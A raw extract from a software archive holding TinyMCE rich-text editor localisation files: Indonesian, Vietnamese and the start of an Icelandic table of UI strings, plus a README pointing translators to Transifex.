"Header cell": "Judul sel",
"Row group": "Kelompok baris",
"Column group": "Kelompok kolom",
"Row type": "Tipe baris",
"Header": "Judul",
"Body": "Body",
"Footer": "Footer",
"Border color": "Warna batas",
"Insert template...": "Masukkan template...",
"Templates": "Templat",
"Template": "Templat",
"Text color": "Warna teks",
"Background color": "Warna latar",
"Custom...": "Atur sendiri...",
"Custom color": "Warna sendiri",
"No color": "Tidak berwarna",
"Remove color": "Hapus warna",
"Table of Contents": "Daftar Isi",
"Show blocks": "Tampilkan blok",
"Show invisible characters": "Tampilkan karakter tak tampak",
"Word count": "Hitungan kata",
"Count": "Hitungan",
"Document": "Dokumen",
"Selection": "Pemilihan",
"Words": "Kata",
"Words: {0}": "Kata: {0}",
"{0} words": "{0} kata",
"File": "Berkas",
"Edit": "Sunting",
"Insert": "Sisip",
"View": "Tampilan",
"Format": "Format",
"Table": "Tabel",
"Tools": "Alat",
"Powered by {0}": "Didukung oleh {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Area teks kaya. Tekan ALT-F9 untuk menu. Tekan ALT-F10 untuk toolbar. Tekan ALT-0 untuk bantuan",
"Image title": "Judul gambar",
"Border width": "Lebar pinggiran",
"Border style": "Gaya pinggiran",
"Error": "Kesalahan",
"Warn": "Peringatkan",
"Valid": "Valid",
"To open the popup, press Shift+Enter": "Untuk membuka popup, tekan Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Area Teks Kaya. Tekan ALT-0 untuk bantuan.",
"System Font": "Huruf Sistem",
"Failed to upload image: {0}": "Gagal mengunggah gambar: {0}",
"Failed to load plugin: {0} from url {1}": "Gagal memuat plugin: {0} dari url {1}",
"Failed to load plugin url: {0}": "Gagal memuat url plugin: {0}",
"Failed to initialize plugin: {0}": "Gagal memulai plugin: {0}",
"example": "contoh",
"Search": "Cari",
"All": "Semua",
"Currency": "Mata Uang",
"Text": "Teks",
"Quotations": "Kutipan",
"Mathematical": "Matematis",
"Extended Latin": "Latin Diperluas",
"Symbols": "Simbol",
"Arrows": "Panah",
"User Defined": "Ditentukan Pengguna",
"dollar sign": "tanda dolar",
"currency sign": "tanda mata uang",
"euro-currency sign": "tanda mata uang eropa",
"colon sign": "tanda titik dua",
"cruzeiro sign": "tanda cruzeiro",
"french franc sign": "tanda franc prancis",
"lira sign": "tanda lira",
"mill sign": "tanda mill",
"naira sign": "tanda naira",
"peseta sign": "tanda peseta",
"rupee sign": "tanda rupee",
"won sign": "tanda won",
"new sheqel sign": "tanda sheqel baru",
"dong sign": "tanda dong",
"kip sign": "tanda kip",
"tugrik sign": "tanda tugrik",
"drachma sign": "tanda drachma",
"german penny symbol": "simbol penny jerman",
"peso sign": "tanda peso",
"guarani sign": "tanda guarani",
"austral sign": "tanda austral",
"hryvnia sign": "tanda hryvnia",
"cedi sign": "tanda cedi",
"livre tournois sign": "tanda livre tournois",
"spesmilo sign": "tanda spesmilo",
"tenge sign": "tanda tenge",
"indian rupee sign": "tanda rupee india",
"turkish lira sign": "tanda lira turki",
"nordic mark sign": "tanda mark nordik",
"manat sign": "tanda manat",
"ruble sign": "tanda ruble",
"yen character": "karakter yen",
"yuan character": "karakter yuan",
"yuan character, in hong kong and taiwan": "karakter yuan, di hong kong dan taiwan",
"yen\/yuan character variant one": "varian satu karakter yen\/yuan",
"Loading emoticons...": "Memuat emotikon...",
"Could not load emoticons": "Tidak dapat memuat emotikon",
"People": "Orang",
"Animals and Nature": "Hewan dan Alam",
"Food and Drink": "Makanan dan Minuman",
"Activity": "Aktivitas",
"Travel and Places": "Perjalanan dan Lokasi",
"Objects": "Objek",
"Flags": "Bendera",
"Characters": "Karakter",
"Characters (no spaces)": "Karakter (tanpa spasi)",
"{0} characters": "{0} karakter",
"Error: Form submit field collision.": "Kesalahan: Benturan bidang pengiriman bentuk.",
"Error: No form element found.": "Kesalahan: tidak ditemukan elemen bentuk.",
"Update": "Perbarui",
"Color swatch": "Contoh warna",
"Turquoise": "Turquoise",
"Green": "Hijau",
"Blue": "Biru",
"Purple": "Ungu",
"Navy Blue": "Biru Navy",
"Dark Turquoise": "Turquoise Gelap",
"Dark Green": "Hijau Gelap",
"Medium Blue": "Biru Medium",
"Medium Purple": "Ungu Medium",
"Midnight Blue": "Biru Midnight",
"Yellow": "Kuning",
"Orange": "Jingga",
"Red": "Merah",
"Light Gray": "Abu Muda",
"Gray": "Abu-abu",
"Dark Yellow": "Kuning Gelap",
"Dark Orange": "Jingga Gelap",
"Dark Red": "Merah Gelap",
"Medium Gray": "Abu Medium",
"Dark Gray": "Abu Gelap",
"Light Green": "Hijau Muda",
"Light Yellow": "Kuning Muda",
"Light Red": "Merah Muda",
"Light Purple": "Ungu Muda",
"Light Blue": "Biru Muda",
"Dark Purple": "Ungu Gelap",
"Dark Blue": "Biru Gelap",
"Black": "Hitam",
"White": "Putih",
"Switch to or from fullscreen mode": "Alihkan ke atau dari mode layar penuh",
"Open help dialog": "Buka dialog bantuan",
"history": "riwayat",
"styles": "gaya",
"formatting": "pemformatan",
"alignment": "penyejajaran",
"indentation": "indentasi",
"permanent pen": "pena permanen",
"comments": "komentar",
"Format Painter": "Format Pelukis",
"Insert\/edit iframe": "Masukkan\/edit iframe",
"Capitalization": "Kapitalisasi",
"lowercase": "huruf kecil",
"UPPERCASE": "HURUF BESAR",
"Title Case": "Huruf Judul",
"Permanent Pen Properties": "Properti Pena Permanen",
"Permanent pen properties...": "Properti pena permanen...",
"Font": "Huruf",
"Size": "Ukuran",
"More...": "Lainnya...",
"Spellcheck Language": "Periksa Ejaan Bahasa",
"Select...": "Pilih...",
"Preferences": "Preferensi",
"Yes": "Ya",
"No": "Tidak",
"Keyboard Navigation": "Navigasi Keyboard",
"Version": "Versi",
"Anchor": "Jangkar",
"Special character": "Spesial karakter",
"Code sample": "Contoh kode",
"Color": "Warna",
"Emoticons": "Emotikon",
"Document properties": "Properti dokumwn",
"Image": "Gambar",
"Insert link": "Sisipkan tautan",
"Target": "Jendela tujuan",
"Link": "Tautan",
"Poster": "Penulis",
"Media": "Media",
"Print": "Cetak",
"Prev": "Sebelumnya",
"Find and replace": "Cari dan ganti",
"Whole words": "Semua kata",
"Spellcheck": "Periksa ejaan",
"Caption": "Caption",
"Insert template": "Sisipkan templat"
});PK
h�\���ݗ�"program/js/tinymce/langs/README.mdnu�[���This is where language files should be placed.

Please DO NOT translate these directly use this service: https://www.transifex.com/projects/p/tinymce/
PK
h�\�+i2�0�0!program/js/tinymce/langs/vi_VN.jsnu�[���tinymce.addI18n('vi_VN',{
"Redo": "Ho\u00e0n t\u00e1t",
"Undo": "Hu\u1ef7 thao t\u00e1c",
"Cut": "C\u1eaft",
"Copy": "Ch\u00e9p",
"Paste": "D\u00e1n",
"Select all": "Ch\u1ecdn t\u1ea5t c\u1ea3",
"New document": "T\u1ea1o t\u00e0i li\u1ec7u m\u1edbi",
"Ok": "OK",
"Cancel": "Hu\u1ef7",
"Visual aids": "Hi\u1ec7n khung so\u1ea1n th\u1ea3o",
"Bold": "T\u00f4 \u0111\u1eadm",
"Italic": "In nghi\u00eang",
"Underline": "G\u1ea1ch d\u01b0\u1edbi",
"Strikethrough": "G\u1ea1ch ngang",
"Superscript": "Tr\u00ean d\u00f2ng",
"Subscript": "D\u01b0\u1edbi d\u00f2ng",
"Clear formatting": "Xo\u00e1 \u0111\u1ecbnh d\u1ea1ng",
"Align left": "Canh tr\u00e1i",
"Align center": "Canh gi\u1eefa",
"Align right": "Canh ph\u1ea3i",
"Justify": "Canh \u0111\u1ec1u hai b\u00ean",
"Bullet list": "D\u1ea5u \u0111\u1ea7u d\u00f2ng",
"Numbered list": "Danh s\u00e1ch s\u1ed1",
"Decrease indent": "L\u00f9i ra",
"Increase indent": "L\u00f9i v\u00e0o",
"Close": "\u0110\u00f3ng",
"Formats": "\u0110\u1ecbnh d\u1ea1ng",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Tr\u00ecnh duy\u1ec7t c\u1ee7a b\u1ea1n kh\u00f4ng h\u1ed7 tr\u1ee3 truy c\u1eadp clipboard, vui l\u00f2ng s\u1eed d\u1ee5ng c\u00e1c t\u1ed5 h\u1ee3p Ctrl + X, C, V.",
"Headers": "\u0110\u1ea7u trang",
"Header 1": "Ti\u00eau \u0111\u1ec1 1",
"Header 2": "Ti\u00eau \u0111\u1ec1 2",
"Header 3": "Ti\u00eau \u0111\u1ec1 3",
"Header 4": "Ti\u00eau \u0111\u1ec1 4",
"Header 5": "Ti\u00eau \u0111\u1ec1 5",
"Header 6": "Ti\u00eau \u0111\u1ec1 6",
"Headings": "Ti\u00eau \u0111\u1ec1",
"Heading 1": "Ti\u00eau \u0111\u1ec1 1",
"Heading 2": "Ti\u00eau \u0111\u1ec1 2",
"Heading 3": "Ti\u00eau \u0111\u1ec1 3",
"Heading 4": "Ti\u00eau \u0111\u1ec1 4",
"Heading 5": "Ti\u00eau \u0111\u1ec1 5",
"Heading 6": "Ti\u00eau \u0111\u1ec1 6",
"Div": "Khung",
"Pre": "\u0110\u1ecbnh d\u1ea1ng",
"Code": "M\u00e3",
"Paragraph": "\u0110o\u1ea1n v\u0103n",
"Blockquote": "Tr\u00edch",
"Inline": "C\u00f9ng d\u00f2ng",
"Blocks": "Bao",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "D\u00e1n b\u00e2y gi\u1edd l\u00e0 \u1edf ch\u1ebf \u0111\u1ed9 v\u0103n b\u1ea3n \u0111\u01a1n gi\u1ea3n. N\u1ed9i dung s\u1ebd \u0111\u01b0\u1ee3c d\u00e1n nh\u01b0 \u0111\u1ed3ng b\u1eb1ng v\u0103n b\u1ea3n cho \u0111\u1ebfn khi b\u1ea1n chuy\u1ec3n \u0111\u1ed5i t\u00f9y ch\u1ecdn n\u00e0y.",
"Font Family": "Ph\u00f4ng",
"Font Sizes": "K\u00edch th\u01b0\u1edbc ph\u00f4ng",
"Class": "L\u1edbp",
"Browse for an image": "Duy\u1ec7t \u1ea3nh",
"OR": "HO\u1eb6C",
"Drop an image here": "Th\u1ea3 h\u00ecnh \u1ea3nh \u1edf \u0111\u00e2y",
"Upload": "T\u1ea3i l\u00ean",
"Block": "Kh\u1ed1i",
"Align": "C\u0103n ch\u1ec9nh",
"Default": "Ng\u1ea7m \u0111\u1ecbnh",
"Circle": "H\u00ecnh tr\u00f2n",
"Disc": "H\u00ecnh tr\u00f2n m\u1ecfng",
"Square": "\u00d4 vu\u00f4ng",
"Lower Alpha": "K\u00fd t\u1ef1 th\u01b0\u1eddng",
"Lower Greek": "S\u1ed1 hy l\u1ea1p th\u01b0\u1eddng",
"Lower Roman": "S\u1ed1 la m\u00e3 th\u01b0\u1eddng",
"Upper Alpha": "K\u00fd t\u1ef1 hoa",
"Upper Roman": "S\u1ed1 la m\u00e3 hoa",
"Anchor": "Neo",
"Name": "T\u00ean",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id ph\u1ea3i b\u1eaft \u0111\u1ea7u b\u1eb1ng m\u1ed9t ch\u1eef c\u00e1i, ch\u1ec9 theo sau b\u1edfi c\u00e1c ch\u1eef c\u00e1i, s\u1ed1, d\u1ea5u g\u1ea1ch ngang, d\u1ea5u ch\u1ea5m, d\u1ea5u hai ch\u1ea5m ho\u1eb7c d\u1ea5u g\u1ea1ch d\u01b0\u1edbi.",
"You have unsaved changes are you sure you want to navigate away?": "B\u1ea1n ch\u01b0a l\u01b0u c\u00e1c thay \u0111\u1ed5i, b\u1ea1n c\u00f3 th\u1eadt s\u1ef1 mu\u1ed1n \u0111\u00f3ng ?",
"Restore last draft": "Ph\u1ee5c h\u1ed3i b\u1ea3n l\u01b0u g\u1ea7n nh\u1ea5t",
"Special character": "K\u00fd t\u1ef1 \u0111\u1eb7c bi\u1ec7t",
"Source code": "M\u00e3 ngu\u1ed3n",
"Insert\/Edit code sample": "Ch\u00e8n\/Ch\u1ec9nh s\u1eeda m\u1eabu",
"Language": "Ng\u00f4n ng\u1eef",
"Code sample": "\u0110o\u1ea1n m\u00e3 m\u1eabu",
"Color": "M\u00e0u",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Tr\u00e1i sang ph\u1ea3i",
"Right to left": "Ph\u1ea3i sang tr\u00e1i",
"Emoticons": "Bi\u1ec3u t\u01b0\u1ee3ng c\u1ea3m x\u00fac",
"Document properties": "Thu\u1ed9c t\u00ednh t\u00e0i li\u1ec7u",
"Title": "Ti\u00eau \u0111\u1ec1",
"Keywords": "T\u1eeb kho\u00e1",
"Description": "Mi\u00eau t\u1ea3",
"Robots": "Robots",
"Author": "Neo",
"Encoding": "M\u00e3 ho\u00e1",
"Fullscreen": "\u0110\u1ea7y m\u00e0n h\u00ecnh",
"Action": "H\u00e0nh \u0111\u1ed9ng",
"Shortcut": "L\u1ed1i t\u1eaft",
"Help": "Tr\u1ee3 gi\u00fap",
"Address": "\u0110\u1ecba ch\u1ec9",
"Focus to menubar": "G\u1eafn l\u00ean thanh tr\u00ecnh \u0111\u01a1n",
"Focus to toolbar": "G\u1eafn l\u00ean thanh c\u00f4ng c\u1ee5",
"Focus to element path": "G\u1eafn v\u00e0o \u0111\u01b0\u1eddng d\u1eabn",
"Focus to contextual toolbar": "G\u1eafn v\u00e0o thanh c\u00f4ng c\u1ee5 ng\u1eef c\u1ea3nh",
"Insert link (if link plugin activated)": "Ch\u00e8n li\u00ean k\u1ebft (n\u1ebfu plugin li\u00ean k\u1ebft \u0111\u1ea3 k\u00edch ho\u1ea1t)",
"Save (if save plugin activated)": "L\u01b0u (n\u1ebfu plugin l\u01b0u \u0111\u1ea3 k\u00edch ho\u1ea1t)",
"Find (if searchreplace plugin activated)": "T\u00ecm (n\u1ebfu plugin t\u00ecm v\u00e0 thay th\u1ebf \u0111\u1ea3 k\u00edch ho\u1ea1t)",
"Plugins installed ({0}):": "Plugin \u0111\u00e3 c\u00e0i \u0111\u1eb7t ({0}):",
"Premium plugins:": "C\u00e1c Plugin tr\u1ea3 ph\u00ed:",
"Learn more...": "T\u00ecm hi\u1ec3u th\u00eam...",
"You are using {0}": "B\u1ea1n \u0111ang s\u1eed d\u1ee5ng {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Ph\u00edm t\u1eaft ti\u1ec7n d\u1ee5ng",
"Horizontal line": "G\u1ea1ch ngang",
"Insert\/edit image": "Th\u00eam \/ s\u1eeda h\u00ecnh \u1ea3nh",
"Image description": "Mi\u00eau t\u1ea3 h\u00ecnh \u1ea3nh",
"Source": "Ngu\u1ed3n",
"Dimensions": "K\u00edch th\u01b0\u1edbc",
"Constrain proportions": "H\u1ea1n ch\u1ebf t\u1ef7 l\u1ec7",
"General": "T\u1ed5ng h\u1ee3p",
"Advanced": "N\u00e2ng cao",
"Style": "Ki\u1ec3u",
"Vertical space": "Kho\u1ea3ng c\u00e1ch d\u1ecdc",
"Horizontal space": "Kho\u1ea3ng c\u00e1ch ngang",
"Border": "\u0110\u01b0\u1eddng vi\u1ec1n",
"Insert image": "Ch\u00e8n \u1ea3nh",
"Image": "H\u00ecnh \u1ea3nh",
"Image list": "Danh s\u00e1ch \u1ea3nh",
"Rotate counterclockwise": "Xoay ng\u01b0\u1ee3c chi\u1ec1u kim \u0111\u1ed3ng",
"Rotate clockwise": "Xoay theo chi\u1ec1u kim \u0111\u1ed3ng h\u1ed3",
"Flip vertically": "L\u1eadt d\u1ecdc",
"Flip horizontally": "L\u1eadt ngang",
"Edit image": "S\u1eeda \u1ea3nh",
"Image options": "T\u00f9y ch\u1ecdn h\u00ecnh \u1ea3nh",
"Zoom in": "Ph\u00f3ng to",
"Zoom out": "Thu nh\u1ecf",
"Crop": "X\u00e9n",
"Resize": "Thay \u0111\u1ed5i k\u00edch th\u01b0\u1edbc",
"Orientation": "\u0110\u1ecbnh h\u01b0\u1edbng",
"Brightness": "\u0110\u1ed9 s\u00e1ng",
"Sharpen": "\u0110\u1ed9 s\u1eafc n\u00e9t",
"Contrast": "\u0110\u1ed9 t\u01b0\u01a1ng ph\u1ea3n",
"Color levels": "M\u1ee9c \u0111\u1ed9 m\u00e0u s\u1eafc",
"Gamma": "M\u00e0u Gamma",
"Invert": "\u0110\u1ea3o ng\u01b0\u1ee3c",
"Apply": "\u00c1p d\u1ee5ng",
"Back": "Tr\u1edf l\u1ea1i",
"Insert date\/time": "Th\u00eam ng\u00e0y \/ gi\u1edd",
"Date\/time": "Ng\u00e0y\/gi\u1edd",
"Insert link": "Th\u00eam li\u00ean k\u1ebft",
"Insert\/edit link": "Th\u00eam \/ s\u1eeda li\u00ean k\u1ebft",
"Text to display": "Ch\u1eef hi\u1ec3n th\u1ecb",
"Url": "Li\u00ean k\u1ebft",
"Target": "M\u1ee5c ti\u00eau",
"None": "Kh\u00f4ng",
"New window": "C\u1eeda s\u1ed5 m\u1edbi",
"Remove link": "Xo\u00e1 li\u00ean k\u1ebft",
"Anchors": "Ghim",
"Link": "Li\u00ean k\u1ebft",
"Paste or type a link": "D\u00e1n ho\u1eb7c nh\u1eadp li\u00ean k\u1ebft",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "URL b\u1ea1n nh\u1eadp v\u00e0o c\u00f3 v\u1ebb l\u00e0 m\u1ed9t \u0111\u1ecba ch\u1ec9 email. B\u1ea1n c\u00f3 mu\u1ed1n th\u00eam c\u00e1c y\u00eau c\u1ea7u mailto: ti\u1ec1n t\u1ed1?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "URL b\u1ea1n nh\u1eadp v\u00e0o c\u00f3 v\u1ebb l\u00e0 m\u1ed9t li\u00ean k\u1ebft b\u00ean ngo\u00e0i. B\u1ea1n c\u00f3 mu\u1ed1n th\u00eam ti\u1ec1n t\u1ed1 http:\/\/ c\u1ea7n thi\u1ebft?",
"Link list": "Danh s\u00e1ch li\u00ean k\u1ebft",
"Insert video": "Th\u00eam video",
"Insert\/edit video": "Th\u00eam \/ s\u1eeda video",
"Insert\/edit media": "Ch\u00e8n\/ch\u1ec9nh s\u1eeda ph\u01b0\u01a1ng ti\u1ec7n truy\u1ec1n th\u00f4ng",
"Alternative source": "Ngu\u1ed3n thay th\u1ebf",
"Poster": "Ng\u01b0\u1eddi \u0111\u0103ng",
"Paste your embed code below:": "D\u00e1n m\u00e3 embed v\u00e0o:",
"Embed": "Embed",
"Media": "Ph\u01b0\u01a1ng ti\u1ec7n truy\u1ec1n th\u00f4ng",
"Nonbreaking space": "Kh\u00f4ng ng\u1eaft kho\u1ea3ng",
"Page break": "Ng\u1eaft trang",
"Paste as text": "D\u00e1n nh\u01b0 v\u0103n b\u1ea3n",
"Preview": "Xem tr\u01b0\u1edbc",
"Print": "In",
"Save": "L\u01b0u",
"Find": "T\u00ecm",
"Replace with": "Thay th\u1ebf b\u1eb1ng",
"Replace": "Thay th\u1ebf",
"Replace all": "Thay th\u1ebf t\u1ea5t c\u1ea3",
"Prev": "Tr\u01b0\u1edbc",
"Next": "Sau",
"Find and replace": "T\u00ecm v\u00e0 thay th\u1ebf",
"Could not find the specified string.": "Kh\u00f4ng t\u00ecm th\u1ea5y chu\u1ed7i y\u00eau c\u1ea7u",
"Match case": "Ph\u00e2n bi\u1ec7t hoa th\u01b0\u1eddng",
"Whole words": "T\u1ea5t c\u1ea3 \u0111o\u1ea1n",
"Spellcheck": "Ki\u1ec3m tra ch\u00ednh t\u1ea3",
"Ignore": "L\u1edd qua",
"Ignore all": "L\u1edd t\u1ea5t c\u1ea3",
"Finish": "Ho\u00e0n t\u1ea5t",
"Add to Dictionary": "Th\u00eam v\u00e0o t\u1eeb \u0111i\u1ec3n",
"Insert table": "Th\u00eam b\u1ea3ng",
"Table properties": "Thu\u1ed9c t\u00ednh b\u1ea3ng",
"Delete table": "Xo\u00e1 b\u1ea3ng",
"Cell": "\u00d4",
"Row": "D\u00f2ng",
"Column": "C\u1ed9t",
"Cell properties": "Thu\u1ed9c t\u00ednh \u00f4",
"Merge cells": "N\u1ed1i \u00f4",
"Split cell": "Chia \u00f4",
"Insert row before": "Th\u00eam d\u00f2ng ph\u00eda tr\u00ean",
"Insert row after": "Th\u00eam d\u00f2ng ph\u00eda d\u01b0\u1edbi",
"Delete row": "Xo\u00e1 d\u00f2ng",
"Row properties": "Thu\u1ed9c t\u00ednh d\u00f2ng",
"Cut row": "C\u1eaft d\u00f2ng",
"Copy row": "Ch\u00e9p d\u00f2ng",
"Paste row before": "D\u00e1n v\u00e0o ph\u00eda tr\u01b0\u1edbc, tr\u00ean",
"Paste row after": "D\u00e1n v\u00e0o ph\u00eda sau, d\u01b0\u1edbi",
"Insert column before": "Th\u00eam c\u1ed9t b\u00ean tr\u00e1i",
"Insert column after": "Th\u00eam c\u1ed9t b\u00ean ph\u1ea3i",
"Delete column": "Xo\u00e1 c\u1ed9t",
"Cols": "C\u1ed9t",
"Rows": "D\u00f2ng",
"Width": "R\u1ed9ng",
"Height": "Cao",
"Cell spacing": "Kho\u1ea3ng c\u00e1ch \u00f4",
"Cell padding": "Kho\u1ea3ng c\u00e1ch trong \u00f4",
"Caption": "Ti\u00eau \u0111\u1ec1",
"Left": "Tr\u00e1i",
"Center": "Gi\u1eefa",
"Right": "Ph\u1ea3i",
"Cell type": "Lo\u1ea1i \u00f4",
"Scope": "Quy\u1ec1n",
"Alignment": "Canh ch\u1ec9nh",
"H Align": "X\u1ebfp ngang",
"V Align": "X\u1ebfp d\u1ecdc",
"Top": "\u0110\u1ec9nh",
"Middle": "Gi\u1eefa",
"Bottom": "\u0110\u00e1y",
"Header cell": "Ti\u00eau \u0111\u1ec1 \u00f4",
"Row group": "Nh\u00f3m d\u00f2ng",
"Column group": "Nh\u00f3m c\u1ed9t",
"Row type": "Lo\u1ea1i d\u00f2ng",
"Header": "Ti\u00eau \u0111\u1ec1",
"Body": "N\u1ed9i dung",
"Footer": "Ch\u00e2n",
"Border color": "M\u00e0u vi\u1ec1n",
"Insert template": "Th\u00eam m\u1eabu",
"Templates": "M\u1eabu",
"Template": "B\u1ea3n m\u1eabu",
"Text color": "M\u00e0u ch\u1eef",
"Background color": "M\u00e0u n\u1ec1n",
"Custom...": "T\u00f9y ch\u1ecdn...",
"Custom color": "M\u00e0u t\u00f9y ch\u1ecdn",
"No color": "Kh\u00f4ng m\u00e0u",
"Table of Contents": "M\u1ee5c l\u1ee5c",
"Show blocks": "Hi\u1ec3n th\u1ecb kh\u1ed1i",
"Show invisible characters": "Hi\u1ec3n th\u1ecb c\u00e1c k\u00fd t\u1ef1 \u1ea9n",
"Words: {0}": "T\u1eeb: {0}",
"{0} words": "{0} t\u1eeb",
"File": "T\u1eadp tin",
"Edit": "S\u1eeda",
"Insert": "Th\u00eam",
"View": "Xem",
"Format": "\u0110\u1ecbnh d\u1ea1ng",
"Table": "B\u1ea3ng",
"Tools": "C\u00f4ng c\u1ee5",
"Powered by {0}": "\u0110\u01b0\u1ee3c cung c\u1ea5p b\u1edfi {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Khu v\u1ef1c so\u1ea1n th\u1ea3o. Nh\u1ea5n ALT-F9 \u0111\u1ec3 hi\u1ec7n menu, ALT-F10 \u0111\u1ec3 hi\u1ec7n thanh c\u00f4ng c\u1ee5. C\u1ea7n tr\u1ee3 gi\u00fap nh\u1ea5n ALT-0"
});PK
h�\(���@�@!program/js/tinymce/langs/is_IS.jsnu�[���tinymce.addI18n('is_IS',{
"Redo": "Endurkalla",
"Undo": "Afturkalla",
"Cut": "Skera",
"Copy": "Afrita",
"Paste": "L\u00edma",
"Select all": "Velja allt",
"New document": "N\u00fdtt skjal",
"Ok": "Sta\u00f0festa",
"Cancel": "H\u00e6tta vi\u00f0",
"Visual aids": "Sj\u00f3nr\u00e6n hj\u00e1lp",
"Bold": "Feitletra\u00f0",
"Italic": "Skr\u00e1letra\u00f0",
"Underline": "Undirstrika\u00f0",
"Strikethrough": "Yfirstrika\u00f0",
"Superscript": "Uppskrift",
"Subscript": "Ni\u00f0urskrifa\u00f0",
"Clear formatting": "Hreinsa sni\u00f0",
"Align left": "Vinstrijafna",
"Align center": "Mi\u00f0jujafna",
"Align right": "H\u00e6grijafna",
"Justify": "Jafna",
"Bullet list": "K\u00falu listi",
"Numbered list": "N\u00famera\u00f0ur listi",
"Decrease indent": "Minnka inndr\u00e1tt",
"Increase indent": "Auka inndr\u00e1tt",
"Close": "Loka",
"Formats": "Sni\u00f0m\u00e1t",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Vafrinn \u00feinn sty\u00f0ur ekki beinann a\u00f0gang a\u00f0 klippibor\u00f0inu.  Nota\u00f0u Ctrl-X\/C\/V \u00e1 lyklabor\u00f0inu \u00ed sta\u00f0inn.",
"Headers": "Fyrirsagnir",
"Header 1": "Fyrirs\u00f6gn 1",
"Header 2": "Fyrirs\u00f6gn 2",
"Header 3": "Fyrirs\u00f6gn 3",
"Header 4": "Fyrirs\u00f6gn 4",
"Header 5": "Fyrirs\u00f6gn 5",
"Header 6": "Fyrirs\u00f6gn 6",
"Headings": "Fyrirsagnir",
"Heading 1": "Fyrirs\u00f6gn 1",
"Heading 2": "Fyrirs\u00f6gn 2",
"Heading 3": "Fyrirs\u00f6gn 3",
"Heading 4": "Fyrirs\u00f6gn 4",
"Heading 5": "Fyrirs\u00f6gn 5",
"Heading 6": "Fyrirs\u00f6gn 6",
"Preformatted": "Preformatted",
"Div": "Div",
"Pre": "\u00d3st\u00edla\u00f0",
"Code": "K\u00f3\u00f0i",
"Paragraph": "M\u00e1lsgrein",
"Blockquote": "Blokk",
"Inline": "Inndregi\u00f0",
"Blocks": "Blokkir",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "L\u00edming er \u00ed l\u00e1tlausum ham.  Innihald ver\u00f0ur l\u00edmt sem l\u00e1tlaus texti \u00feanga\u00f0 til \u00fe\u00fa afvirkjar \u00feennan m\u00f6guleika.",
"Fonts": "Leturger\u00f0ir",
"Font Sizes": "Leturst\u00e6r\u00f0",
"Class": "Tegund",
"Browse for an image": "Finna mynd \u00ed t\u00f6lvunni",
"OR": "E\u00d0A",
"Drop an image here": "Settu inn mynd h\u00e9r",
"Upload": "Hla\u00f0a upp",
"Block": "Blokka",
"Align": "Stilla",
"Default": "Sj\u00e1lfgefi\u00f0",
"Circle": "Hringur",
"Disc": "Diskur",
"Square": "Ferningur",
"Lower Alpha": "L\u00e1gstafir Alpha",
"Lower Greek": "L\u00e1gstafir Gr\u00edskir",
"Lower Roman": "L\u00e1gstafir R\u00f3mverskir",
"Upper Alpha": "H\u00e1stafir Alpha",
"Upper Roman": "H\u00e1stafir R\u00f3mverskir",
"Anchor...": "Anchor...",
"Name": "Nafn",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id \u00e6tti a\u00f0 byrja \u00e1 b\u00f3kstaf, og skal einungis innihalda b\u00f3kstafi, t\u00f6lustafi, bandstrik, punkta, kommur e\u00f0a strik ni\u00f0ri.",
"You have unsaved changes are you sure you want to navigate away?": "\u00dea\u00f0 eru \u00f3vista\u00f0ar breytingar, ertu viss um a\u00f0 \u00fe\u00fa viljir vafra \u00ed burtu?",
"Restore last draft": "Endurkalla s\u00ed\u00f0asta uppkast",
"Special character...": "S\u00e9rstakur stafur...",
"Source code": "Frumk\u00f3\u00f0i",
"Insert\/Edit code sample": "Setja inn\/breyta k\u00f3\u00f0ad\u00e6mi",
"Language": "Tungum\u00e1l",
"Code sample...": "K\u00f3\u00f0ad\u00e6mi...",
"Color Picker": "Litaval",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Vinstri til h\u00e6gri",
"Right to left": "H\u00e6gri til vinstri",
"Emoticons...": "Tilfinningat\u00e1kn...",
"Metadata and Document Properties": "Metadata- og skjaleiginleikar",
"Title": "Titill",
"Keywords": "Lykilor\u00f0",
"Description": "L\u00fdsing",
"Robots": "Leitarv\u00e9lar",
"Author": "H\u00f6fundur",
"Encoding": "Umbreyting",
"Fullscreen": "Fylla skj\u00e1",
"Action": "A\u00f0ger\u00f0",
"Shortcut": "Fl\u00fdtilei\u00f0",
"Help": "Hj\u00e1lp",
"Address": "Address",
"Focus to menubar": "F\u00f3kus \u00e1 menubar",
"Focus to toolbar": "F\u00f3kus \u00e1 t\u00e6kjastiku",
"Focus to element path": "F\u00f3kus \u00e1 element path",
"Focus to contextual toolbar": "F\u00f3kus \u00e1 contextual toolbar",
"Insert link (if link plugin activated)": "Setja inn hlekk (ef link vi\u00f0b\u00f3t er virk)",
"Save (if save plugin activated)": "Vista (ef vistunar vi\u00f0b\u00f3t er virk)",
"Find (if searchreplace plugin activated)": "Leita (ef searchreplace vi\u00f0b\u00f3t er virk)",
"Plugins installed ({0}):": "Uppsettar vi\u00f0b\u00f3tir ({0}):",
"Premium plugins:": "Premium vi\u00f0b\u00e6tur:",
"Learn more...": "Sj\u00e1 meira...",
"You are using {0}": "\u00de\u00fa ert a\u00f0 nota {0}",
"Plugins": "Vi\u00f0b\u00e6tur",
"Handy Shortcuts": "Sni\u00f0ugar fl\u00fdtilei\u00f0ir",
"Horizontal line": "L\u00e1r\u00e9tt l\u00edna",
"Insert\/edit image": "Setja inn\/breyta mynd",
"Image description": "L\u00fdsing myndar",
"Source": "Sl\u00f3\u00f0i",
"Dimensions": "Hlutf\u00f6ll",
"Constrain proportions": "Halda hlutf\u00f6llum",
"General": "Almennt",
"Advanced": "\u00cdtarlegt",
"Style": "St\u00edll",
"Vertical space": "L\u00f3\u00f0r\u00e9tt bil",
